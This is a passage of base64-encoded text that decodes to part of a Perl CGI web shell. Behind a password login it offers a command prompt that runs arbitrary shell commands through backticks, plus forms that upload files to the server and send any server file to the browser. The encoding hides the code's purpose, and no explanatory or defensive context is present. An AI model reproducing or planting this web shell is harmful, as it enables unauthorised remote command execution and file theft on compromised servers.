0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0